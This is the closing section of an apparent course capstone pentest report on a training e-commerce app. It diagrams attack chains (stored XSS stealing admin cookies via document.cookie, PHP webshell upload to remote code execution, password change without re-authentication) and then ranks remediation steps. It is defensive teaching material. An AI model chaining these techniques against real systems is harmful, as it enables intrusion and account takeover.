Offline hash cracking (viable due to weak password policy — L1)
│
▼
Admin login
│
▼
[C2] Upload PHP webshell via logo change
│
▼
Remote Code Execution as www-data
│
▼
Server compromisedAlternative path via session hijacking (no hash cracking required):
Authenticated Attacker (standard user)
│
▼
[H2] Stored XSS in forum post (title or content)
│ Steals admin's cookie via document.cookie
│ (possible because HttpOnly is not set — H8)
▼
Admin session hijacked
│
▼
[C2] Upload PHP webshell → RCEAccount takeover chain:
[H2] XSS steals session cookie (H8 enables this)
│
▼
[H7] Change password/email without current password
│
▼
[H10] Old session still works — victim can't detect takeover
│
▼
Permanent account takeoverRemediation Priorities
Based on the findings, remediation should be addressed in the following order:
Immediate (Critical Risk)
- Parameterize all SQL queries — eliminates C1 and any other potential injection points
- Implement server-side file upload validation — whitelist extensions, validate content, store outside web root
- Set
HttpOnly,Secure, andSameSite=Stricton all session cookies - reduces impact of all XSS findings
Short-Term (High Risk)
- Sanitize all user output with
htmlspecialchars()- eliminates H2, H3, M7 - Regenerate session IDs on login — fixes H9
- Invalidate sessions on credential change and require current password — fixes H7, H10
- Enforce CSRF protection on all HTTP methods — fixes H5
- Derive user identity from session, not user input — fixes H6
- Whitelist the
langparameter and block path traversal - fixes H1 - Restrict SSRF on avatar import — block internal IPs — fixes H4
Medium-Term (Hardening)
- Implement rate limiting on authentication endpoints
- Add security headers (CSP, X-Frame-Options, HSTS)
- Enforce server-side region restrictions
- Normalize error messages to prevent enumeration
- Disable directory listing
- Remove development artifacts and debug endpoints from production
Conclusion
I really enjoyed this Web application pentesting course. I truly learned a ton of valuable information and want to thank Tyler Ramsbey for making such good content. I had a lot of fun working through this challenge. I really built up my methodology from the course content and actually getting to put it into practice with the labs and capstone at the end was very nice.
The Hack Smarter e-commerce application contains many security weaknesses across most web categories like input validation, authentication, session management, access controls, and configuration. The two critical findings alone represent a complete compromise path from anonymous visitor to server-level code execution.
What makes this application particularly dangerous is not any single vulnerability in isolation, but how they chain together. Weak cookies amplify XSS. Missing re-authentication amplifies session theft. Verbose errors accelerate SQL injection. Client-side-only controls provide no real security. Each finding compounds the next.
The remediation priorities outlined above are ordered to maximize security improvement per unit of effort. Fixing the top three items: parameterized queries, upload validation, and secure cookie flags would eliminate the two complete compromise chains and significantly reduce the blast radius of remaining findings.
Report prepared by Liam Smydo, see full notes here: github.com/01xmm
Originally published at https://liamsmydo.com on April 8, 2026.